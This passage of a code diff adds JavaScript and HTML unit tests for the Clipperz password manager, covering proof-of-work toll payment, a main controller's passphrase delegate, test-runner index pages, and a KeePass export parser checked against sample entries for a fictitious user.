deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.ok(Clipperz.PM.Toll.validate(aResult.targetValue, aResult.toll, 1), "Payed a toll of cost 1");
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32).toHexString().substring(2);
|
||||
toll_5 = new Clipperz.PM.Toll({targetValue:tollTargetValue, cost:5});
|
||||
|
||||
deferredResult.addMethod(toll_5, 'deferredPay');
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.ok(Clipperz.PM.Toll.validate(aResult.targetValue, aResult.toll, 5), "Payed a toll of cost 5");
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
|
||||
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32).toHexString().substring(2);
|
||||
toll_6 = new Clipperz.PM.Toll({targetValue:tollTargetValue, cost:6});
|
||||
|
||||
deferredResult.addMethod(toll_6, 'deferredPay');
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.ok(Clipperz.PM.Toll.validate(aResult.targetValue, aResult.toll, 6), "Payed a toll of cost 6");
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
|
||||
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32).toHexString().substring(2);
|
||||
toll_7 = new Clipperz.PM.Toll({targetValue:tollTargetValue, cost:7});
|
||||
|
||||
deferredResult.addMethod(toll_7, 'deferredPay');
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.ok(Clipperz.PM.Toll.validate(aResult.targetValue, aResult.toll, 7), "Payed a toll of cost 7");
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
|
||||
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32).toHexString().substring(2);
|
||||
toll_10 = new Clipperz.PM.Toll({targetValue:tollTargetValue, cost:10});
|
||||
|
||||
deferredResult.addMethod(toll_10, 'deferredPay');
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.ok(Clipperz.PM.Toll.validate(aResult.targetValue, aResult.toll, 10), "Payed a toll of cost 10");
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
|
||||
/*
|
||||
tollTargetValue = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32).toHexString().substring(2);
|
||||
toll_16 = new Clipperz.PM.Toll({targetValue:tollTargetValue, cost:16});
|
||||
|
||||
deferredResult.addMethod(toll_16, 'deferredPay');
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.ok(Clipperz.PM.Toll.validate(aResult.targetValue, aResult.toll, 16), "Payed a toll of cost 16");
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
*/
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
runTests = function() {
|
||||
try {
|
||||
var deferredTests;
|
||||
var aTestName;
|
||||
|
||||
deferredTests = new Clipperz.Async.Deferred("Clipperz.PM.Toll.test", {trace:false});
|
||||
|
||||
aTestName = window.location.href.match(/#.*/);
|
||||
if (aTestName && (aTestName != '#')) {
|
||||
aTestName = aTestName[0].slice(1);
|
||||
if (aTestName in tests) {
|
||||
//Clipperz.log("single test execution, via fragment identifier", aTestName);
|
||||
deferredTests.addCallback(tests[aTestName]);
|
||||
deferredTests.addErrback(SimpleTest.ok, false, aTestName);
|
||||
} else {
|
||||
deferredTests.addBoth(is, aTestName, null, "Wrong test name selected to run");
|
||||
}
|
||||
} else {
|
||||
for (aTestName in tests) {
|
||||
deferredTests.addCallback(tests[aTestName]);
|
||||
deferredTests.addErrback(SimpleTest.ok, false, aTestName);
|
||||
}
|
||||
deferredTests.addBoth(is, true, true, "FINISH: completed the full stack of tests");
|
||||
}
|
||||
deferredTests.addBoth(SimpleTest.finish);
|
||||
deferredTests.callback();
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
} catch (err) {
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
}();
|
||||
@@ -0,0 +1,64 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.UI.Web.MainController - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/Signal.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../../../js/Clipperz/PM/UI/Web/Controllers/MainController.js'></script>
|
||||
<script type="text/javascript" src="../../../../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="MainController.test.js"></script>
|
||||
</pre>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,90 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
//Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
var tests = {
|
||||
|
||||
'isPassphraseDelegateLockSetAfterInit': function (someTestArgs) {
|
||||
return Clipperz.Async.callbacks('isPassphraseDelegateLockSetAfterInit', [
|
||||
function () {
|
||||
var mainController;
|
||||
|
||||
mainController = new Clipperz.PM.UI.Web.Controllers.MainController();
|
||||
SimpleTest.is(true, mainController._passphraseDelegateLock.locked, 'passphraseDelegate lock is locked after MainController initialization')
|
||||
}]);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'getPassphraseWithUnsetDelegate_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var mainController;
|
||||
var delegateFunction;
|
||||
|
||||
mainController = new Clipperz.PM.UI.Web.Controllers.MainController();
|
||||
delegateFunction = function () { return "clipperz";};
|
||||
|
||||
MochiKit.Async.callLater(1, MochiKit.Base.method(mainController, 'setPassphraseDelegate', delegateFunction));
|
||||
|
||||
return Clipperz.Async.callbacks("MainController.getPassphraseWithUnsetDelegate",[
|
||||
MochiKit.Base.method(mainController, 'getPassphrase'),
|
||||
function (aResult) {
|
||||
SimpleTest.is(aResult, 'clipperz', "the password provided by the delegate is correct");
|
||||
}
|
||||
], {trace:false});
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'getPassphraseWithSetDelegate_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var mainController;
|
||||
var delegateFunction;
|
||||
|
||||
mainController = new Clipperz.PM.UI.Web.Controllers.MainController();
|
||||
delegateFunction = function () {return "clipperz";};
|
||||
|
||||
return Clipperz.Async.callbacks("MainController.getPassphraseWithSetDelegate_test",[
|
||||
MochiKit.Base.method(mainController, 'setPassphraseDelegate', delegateFunction),
|
||||
MochiKit.Base.method(mainController, 'getPassphrase'),
|
||||
function (aResult) {
|
||||
SimpleTest.is(aResult, 'clipperz', "the password provided by the delegate is correct");
|
||||
}
|
||||
], {trace:false});
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.PM.UI.Web.Controllers.MainController", tests, {trace:false});
|
||||
@@ -0,0 +1,46 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.UI.Web.Controllers.* - tests</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
//
|
||||
// This is still a complete mess.
|
||||
//
|
||||
'MainController.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
45
frontend/gamma/tests/tests/Clipperz/PM/UI/Web/index.html
Normal file
@@ -0,0 +1,45 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.UI.Web* - tests</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
//
|
||||
// This is still a complete mess.
|
||||
//
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
45
frontend/gamma/tests/tests/Clipperz/PM/UI/index.html
Normal file
@@ -0,0 +1,45 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.UI.* - tests</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
//
|
||||
// This is still a complete mess.
|
||||
//
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
56
frontend/gamma/tests/tests/Clipperz/PM/index.html
Normal file
@@ -0,0 +1,56 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.* - tests</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
//
|
||||
// This is still a complete mess.
|
||||
//
|
||||
// 'BookmarkletProcessor.html',
|
||||
'Connection.html',
|
||||
'Crypto.html',
|
||||
// 'Crypto_other_implementation_comparison.html',
|
||||
'Crypto_performanceEvaluation.html',
|
||||
// 'CryptoPerformance_ByteArrayArray.html',
|
||||
// 'CryptoPerformance_ByteArrayHex.html',
|
||||
// 'CryptoPerformance_ByteArrayString.html',
|
||||
'Date.html',
|
||||
'Proxy.html',
|
||||
'Toll.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
210
frontend/gamma/tests/tests/Clipperz/RoboFormExportProcessor.html
Normal file
@@ -0,0 +1,210 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/KeePassExportProcessor.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
var deferredResult;
|
||||
var keePassProcessor;
|
||||
|
||||
keePassProcessor = new Clipperz.KeePassExportProcessor();
|
||||
|
||||
deferredResult = new MochiKit.Async.Deferred();
|
||||
|
||||
deferredResult.addCallback(function(aResult) { return "[Gmail]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.gmail.com\nPassword: NHy08ZCMYsqUeLQCawR7\n\n[del.icio.us]\nGroup: General\nUserName: joe69\nURL: http://del.icio.us\nPassword: tS1cIEeqp5y0wkU\n\n[Amazon]\nGroup: General\nUserName: jclipperz\nURL: http://www.amazon.com\nPassword: wvpkqNPIsqlI5g6XE9Tz\n\n[Paypal]\nGroup: General\nUserName: joeclipperz\nURL: http://www.paypal.com\nPassword: 24T4wIcvHnM28T3L\n\n[Technorati]\nGroup: General\nUserName: jclipperz\nURL: http://www.technorati.com\nPassword: UcVeNqF\n\n[American Airlines]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.aa.com\nPassword: AtrYbmi7lmSjR\n" });
|
||||
deferredResult.addCallback(MochiKit.Base.method(keePassProcessor, 'deferredParse'));
|
||||
deferredResult.addCallback(function(aResult) { is(MochiKit.Base.serializeJSON(aResult), "[{\"Title\":\"Gmail\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.gmail.com\", \"Password\":\"NHy08ZCMYsqUeLQCawR7\"}, {\"Title\":\"del.icio.us\", \"Group\":\"General\", \"UserName\":\"joe69\", \"URL\":\"http://del.icio.us\", \"Password\":\"tS1cIEeqp5y0wkU\"}, {\"Title\":\"Amazon\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.amazon.com\", \"Password\":\"wvpkqNPIsqlI5g6XE9Tz\"}, {\"Title\":\"Paypal\", \"Group\":\"General\", \"UserName\":\"joeclipperz\", \"URL\":\"http://www.paypal.com\", \"Password\":\"24T4wIcvHnM28T3L\"}, {\"Title\":\"Technorati\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.technorati.com\", \"Password\":\"UcVeNqF\"}, {\"Title\":\"American Airlines\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.aa.com\", \"Password\":\"AtrYbmi7lmSjR\"}]", "first test"); });
|
||||
deferredResult.addErrback(function(anError) { is("ERROR", anError) });
|
||||
|
||||
deferredResult.addCallback(function(aResult) { return "[Gmail]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.gmail.com\nPassword: NHy08ZCMYsqUeLQCawR7\nNotes: Personal account\n\n[del.icio.us]\nGroup: General\nUserName: joe69\nURL: http://del.icio.us\nPassword: tS1cIEeqp5y0wkU\nNotes: social bookmarking site\n\n[Amazon]\nGroup: General\nUserName: jclipperz\nURL: http://www.amazon.com\nPassword: wvpkqNPIsqlI5g6XE9Tz\nNotes: The US online store\n\n[Paypal]\nGroup: General\nUserName: joeclipperz\nURL: http://www.paypal.com\nPassword: 24T4wIcvHnM28T3L\nNotes: Linked to my savings account\n\n[Technorati]\nGroup: General\nUserName: jclipperz\nURL: http://www.technorati.com\nPassword: UcVeNqF\nNotes: Blog ranking and searching\n\n[American Airlines]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.aa.com\nPassword: AtrYbmi7lmSjR\nNotes: Adavantages card n. 795495\n" });
|
||||
deferredResult.addCallback(MochiKit.Base.method(keePassProcessor, 'deferredParse'));
|
||||
deferredResult.addCallback(function(aResult) { is(MochiKit.Base.serializeJSON(aResult), "[{\"Title\":\"Gmail\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.gmail.com\", \"Password\":\"NHy08ZCMYsqUeLQCawR7\", \"Notes\":\"Personal account\"}, {\"Title\":\"del.icio.us\", \"Group\":\"General\", \"UserName\":\"joe69\", \"URL\":\"http://del.icio.us\", \"Password\":\"tS1cIEeqp5y0wkU\", \"Notes\":\"social bookmarking site\"}, {\"Title\":\"Amazon\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.amazon.com\", \"Password\":\"wvpkqNPIsqlI5g6XE9Tz\", \"Notes\":\"The US online store\"}, {\"Title\":\"Paypal\", \"Group\":\"General\", \"UserName\":\"joeclipperz\", \"URL\":\"http://www.paypal.com\", \"Password\":\"24T4wIcvHnM28T3L\", \"Notes\":\"Linked to my savings account\"}, {\"Title\":\"Technorati\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.technorati.com\", \"Password\":\"UcVeNqF\", \"Notes\":\"Blog ranking and searching\"}, {\"Title\":\"American Airlines\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.aa.com\", \"Password\":\"AtrYbmi7lmSjR\", \"Notes\":\"Adavantages card n. 795495\"}]", "second test"); });
|
||||
deferredResult.addErrback(function(anError) { is("ERROR", anError) });
|
||||
|
||||
deferredResult.addCallback(function(aResult) { return "[Gmail]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.gmail.com\nPassword: NHy08ZCMYsqUeLQCawR7\nNotes: Personal account\nwith some notes stored\non multiple lines\n\n[del.icio.us]\nGroup: General\nUserName: joe69\nURL: http://del.icio.us\nPassword: tS1cIEeqp5y0wkU\nNotes: social bookmarking site\n\n[Amazon]\nGroup: General\nUserName: jclipperz\nURL: http://www.amazon.com\nPassword: wvpkqNPIsqlI5g6XE9Tz\nNotes: The US online store\n\n[Paypal]\nGroup: General\nUserName: joeclipperz\nURL: http://www.paypal.com\nPassword: 24T4wIcvHnM28T3L\nNotes: Linked to my savings account\n\n[Technorati]\nGroup: General\nUserName: jclipperz\nURL: http://www.technorati.com\nPassword: UcVeNqF\nNotes: Blog ranking and searching\n\n[American Airlines]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.aa.com\nPassword: AtrYbmi7lmSjR\nNotes: Adavantages card n. 795495\n" });
|
||||
deferredResult.addCallback(MochiKit.Base.method(keePassProcessor, 'deferredParse'));
|
||||
deferredResult.addCallback(function(aResult) { is(MochiKit.Base.serializeJSON(aResult), "[{\"Title\":\"Gmail\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.gmail.com\", \"Password\":\"NHy08ZCMYsqUeLQCawR7\", \"Notes\":\"Personal account\\nwith some notes stored\\non multiple lines\\n\"}, {\"Title\":\"del.icio.us\", \"Group\":\"General\", \"UserName\":\"joe69\", \"URL\":\"http://del.icio.us\", \"Password\":\"tS1cIEeqp5y0wkU\", \"Notes\":\"social bookmarking site\"}, {\"Title\":\"Amazon\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.amazon.com\", \"Password\":\"wvpkqNPIsqlI5g6XE9Tz\", \"Notes\":\"The US online store\"}, {\"Title\":\"Paypal\", \"Group\":\"General\", \"UserName\":\"joeclipperz\", \"URL\":\"http://www.paypal.com\", \"Password\":\"24T4wIcvHnM28T3L\", \"Notes\":\"Linked to my savings account\"}, {\"Title\":\"Technorati\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.technorati.com\", \"Password\":\"UcVeNqF\", \"Notes\":\"Blog ranking and searching\"}, {\"Title\":\"American Airlines\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.aa.com\", \"Password\":\"AtrYbmi7lmSjR\", \"Notes\":\"Adavantages card n. 795495\"}]", "third test"); });
|
||||
deferredResult.addErrback(function(anError) { is("ERROR", anError) });
|
||||
|
||||
|
||||
|
||||
deferredResult.addBoth(SimpleTest.finish);
|
||||
deferredResult.callback();
|
||||
|
||||
/*
|
||||
var set;
|
||||
var object1;
|
||||
var object2;
|
||||
var object3;
|
||||
|
||||
set = new Clipperz.Set();
|
||||
|
||||
object1 = new Object();
|
||||
object2 = new Object();
|
||||
object3 = new Object();
|
||||
|
||||
object1.label = "object 1";
|
||||
object2.label = "object 2";
|
||||
object3.label = "object 3";
|
||||
|
||||
is(set.size(), 0, "A new set should be empty");
|
||||
|
||||
set.add(object1);
|
||||
is(set.size(), 1);
|
||||
is(set.contains(object1), true);
|
||||
is(set.contains(object2), false);
|
||||
|
||||
set.add(object1);
|
||||
is(set.size(), 1, "Adding the same object twice does not change the set content");
|
||||
is(set.contains(object1), true);
|
||||
is(set.contains(object2), false);
|
||||
|
||||
set.add(object2);
|
||||
is(set.size(), 2);
|
||||
is(set.contains(object1), true);
|
||||
is(set.contains(object2), true);
|
||||
is(set.contains(object3), false);
|
||||
|
||||
set.remove(object1);
|
||||
is(set.size(), 1, "Size check after removing an object");
|
||||
is(set.contains(object1), false);
|
||||
is(set.contains(object2), true);
|
||||
is(set.contains(object3), false);
|
||||
|
||||
set.remove(object1);
|
||||
is(set.size(), 1, "Removing twice the same object does not change the set content");
|
||||
is(set.contains(object1), false);
|
||||
is(set.contains(object2), true);
|
||||
is(set.contains(object3), false);
|
||||
|
||||
set.empty();
|
||||
is(set.size(), 0);
|
||||
|
||||
{
|
||||
var items;
|
||||
var populatedSet;
|
||||
|
||||
items = ["item1", "item2", "item3"];
|
||||
|
||||
populatedSet = new Clipperz.Set({'items': items});
|
||||
is(populatedSet.size(), 3);
|
||||
is(populatedSet.contains("item1"), true);
|
||||
is(populatedSet.contains("item4"), false);
|
||||
|
||||
items.splice(0, items.length);
|
||||
is(populatedSet.size(), 3);
|
||||
}
|
||||
|
||||
{
|
||||
var items;
|
||||
var deletedItems;
|
||||
|
||||
items = ["item1", "item2", "item3"];
|
||||
|
||||
set = new Clipperz.Set({'items': items});
|
||||
deletedItems = ["item1"];
